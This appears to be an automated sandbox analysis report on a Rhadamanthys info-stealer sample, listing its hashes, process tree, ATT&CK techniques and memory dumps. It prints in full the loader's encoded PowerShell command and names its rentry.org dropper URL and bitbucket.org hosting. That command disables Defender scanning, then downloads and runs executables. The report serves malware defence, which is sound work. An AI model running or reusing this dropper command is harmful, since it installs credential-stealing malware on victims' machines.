rhadamanthys | 3d346f297b45a547dae58303d7c92363a4013f4df0ebe5af8405215fc306761c

Analysis

max time kernel
136s
max time network
125s
platform
windows10-2004_x64
resource
win10v2004-20240611-en
resource tags

arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
submitted
23-06-2024 21:31

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Loader/Loader.exe
Size

7KB
MD5

a59db21c45ddbf490cb3dbc04a4482b5
SHA1

df2dfcadf42b704b1411ad206d4c2daeab0de0d1
SHA256

d576ea6364ee599b140b2acb69a0b1e1bad3450dca5716d1f582a65340b28656
SHA512

0c9042be85607f3e8b9e70f3b99d79761046653e770813a22a627616e35e4ade5677566e71512dc73e50fbe5a32d148b31420c3930060070f4894d9f8f2747df
SSDEEP

192:gSP9nqvjXP3xszgz8mocPcKz4UbvkVQ+cPcKQ8w/HvvNu5dO:gSP9qvLJO9NcPcEkVQ+cPc15v4vO

Score

10^/10

rhadamanthys execution stealer

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://rentry.org/Lk51111111/raw

Signatures

Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

okbhasp3.a3t0.exe

description pid process target process

PID 1968 created 2656 1968 okbhasp3.a3t0.exe sihost.exe
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

7 4544 powershell.exe
11 4544 powershell.exe
Downloads MZ/PE file
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

Loader.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2080292272-204036150-2159171770-1000\Control Panel\International\Geo\Nation Loader.exe
Executes dropped EXE 1 IoCs

Processes:

okbhasp3.a3t0.exe

pid process

1968 okbhasp3.a3t0.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

10 bitbucket.org
11 bitbucket.org
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

4544 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exeokbhasp3.a3t0.exeopenwith.exe

pid process

4544 powershell.exe
4544 powershell.exe
1968 okbhasp3.a3t0.exe
1968 okbhasp3.a3t0.exe
1876 openwith.exe
1876 openwith.exe
1876 openwith.exe
1876 openwith.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4544 powershell.exe

description	pid	process	target process
PID 1968 created 2656	1968	okbhasp3.a3t0.exe	sihost.exe

flow	pid	process
7	4544	powershell.exe
11	4544	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2080292272-204036150-2159171770-1000\Control Panel\International\Geo\Nation	Loader.exe

pid	process
1968	okbhasp3.a3t0.exe

flow	ioc
10	bitbucket.org
11	bitbucket.org

pid	process
4544	powershell.exe

pid	process
4544	powershell.exe
4544	powershell.exe
1968	okbhasp3.a3t0.exe
1968	okbhasp3.a3t0.exe
1876	openwith.exe
1876	openwith.exe
1876	openwith.exe
1876	openwith.exe

description	pid	process
Token: SeDebugPrivilege	4544	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

Loader.exepowershell.exeokbhasp3.a3t0.exe

description	pid	process	target process
PID 440 wrote to memory of 4544	440	Loader.exe	powershell.exe
PID 440 wrote to memory of 4544	440	Loader.exe	powershell.exe
PID 4544 wrote to memory of 1968	4544	powershell.exe	okbhasp3.a3t0.exe
PID 4544 wrote to memory of 1968	4544	powershell.exe	okbhasp3.a3t0.exe
PID 4544 wrote to memory of 1968	4544	powershell.exe	okbhasp3.a3t0.exe
PID 1968 wrote to memory of 1876	1968	okbhasp3.a3t0.exe	openwith.exe
PID 1968 wrote to memory of 1876	1968	okbhasp3.a3t0.exe	openwith.exe
PID 1968 wrote to memory of 1876	1968	okbhasp3.a3t0.exe	openwith.exe
PID 1968 wrote to memory of 1876	1968	okbhasp3.a3t0.exe	openwith.exe
PID 1968 wrote to memory of 1876	1968	okbhasp3.a3t0.exe	openwith.exe

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2656

C:\Windows\SysWOW64\openwith.exe
"C:\Windows\system32\openwith.exe"
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1876

C:\Users\Admin\AppData\Local\Temp\Loader\Loader.exe
"C:\Users\Admin\AppData\Local\Temp\Loader\Loader.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:440

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbQBiACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAdQB3AG0AIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBhAGIAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaQBjAHMAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAEwAawA1ADEAMQAxADEAMQAxADEALwByAGEAdwAnACkALgBTAHAAbABpAHQAKABbAHMAdAByAGkAbgBnAFsAXQBdACIAYAByAGAAbgAiACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AE4AbwBuAGUAKQA7ACAAJABmAG4AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAUgBhAG4AZABvAG0ARgBpAGwAZQBOAGEAbQBlACgAKQA7ACAAZgBvAHIAIAAoACQAaQA9ADAAOwAgACQAaQAgAC0AbAB0ACAAJABsAG4AawAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7ACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAbABuAGsAWwAkAGkAXQAsACAAPAAjAG4AdgByACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcAB6AGgAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdQBrAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACgAJABmAG4AIAArACAAJABpAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAnAC4AZQB4AGUAJwApACkAKQAgAH0APAAjAHgAcQBhACMAPgA7ACAAZgBvAHIAIAAoACQAaQA9ADAAOwAgACQAaQAgAC0AbAB0ACAAJABsAG4AawAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGwAdQBqACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwB6AHMAZgAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQAgAH0AIAA8ACMAZQB1AG4AIwA+AA=="
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4544

C:\Users\Admin\AppData\Roaming\okbhasp3.a3t0.exe
"C:\Users\Admin\AppData\Roaming\okbhasp3.a3t0.exe"
3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1968

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

T1102

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_00nqtym3.0dt.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\okbhasp3.a3t0.exe
Filesize
423KB

MD5
b00ef1ae42c20dd26ef26d5a25355915

SHA1
bd3f1cd414fec9dee3592351dca6e0d68b759208

SHA256
110e5064487a1c57f9a40b75c2f37602e21f5457a6f21ba8fe257572c1c57cbd

SHA512
cd99c054d0db116ee8a0d6f0833e826a5ea1397b9af773aa237ef526240824e70c3b0764089ee1147c35f79e60724cb190c8a4c2a81390c2cdf37296e896425e

Download Submit
memory/440-1-0x00007FFAE7543000-0x00007FFAE7545000-memory.dmp

Filesize
8KB

Download
memory/440-0-0x0000000000140000-0x0000000000148000-memory.dmp

Filesize
32KB

Download
memory/1876-42-0x00007FFB05450000-0x00007FFB05645000-memory.dmp

Filesize
2.0MB

Download
memory/1876-44-0x0000000075090000-0x00000000752A5000-memory.dmp

Filesize
2.1MB

Download
memory/1876-41-0x00000000020D0000-0x00000000024D0000-memory.dmp

Filesize
4.0MB

Download
memory/1876-38-0x0000000000400000-0x0000000000409000-memory.dmp

Filesize
36KB

Download
memory/1968-37-0x0000000075090000-0x00000000752A5000-memory.dmp

Filesize
2.1MB

Download
memory/1968-31-0x0000000000B10000-0x0000000000B8E000-memory.dmp

Filesize
504KB

Download
memory/1968-33-0x0000000003A20000-0x0000000003E20000-memory.dmp

Filesize
4.0MB

Download
memory/1968-34-0x0000000003A20000-0x0000000003E20000-memory.dmp

Filesize
4.0MB

Download
memory/1968-35-0x00007FFB05450000-0x00007FFB05645000-memory.dmp

Filesize
2.0MB

Download
memory/1968-39-0x0000000000B10000-0x0000000000B8E000-memory.dmp

Filesize
504KB

Download
memory/4544-17-0x00007FFAE7380000-0x00007FFAE7E41000-memory.dmp

Filesize
10.8MB

Download
memory/4544-32-0x00007FFAE7380000-0x00007FFAE7E41000-memory.dmp

Filesize
10.8MB

Download
memory/4544-16-0x00007FFAE7380000-0x00007FFAE7E41000-memory.dmp

Filesize
10.8MB

Download
memory/4544-15-0x00007FFAE7380000-0x00007FFAE7E41000-memory.dmp

Filesize
10.8MB

Download
memory/4544-14-0x00007FFAE7380000-0x00007FFAE7E41000-memory.dmp

Filesize
10.8MB

Download
memory/4544-12-0x00007FFAE7380000-0x00007FFAE7E41000-memory.dmp

Filesize
10.8MB

Download
memory/4544-13-0x000001E76D840000-0x000001E76D862000-memory.dmp

Filesize
136KB

Download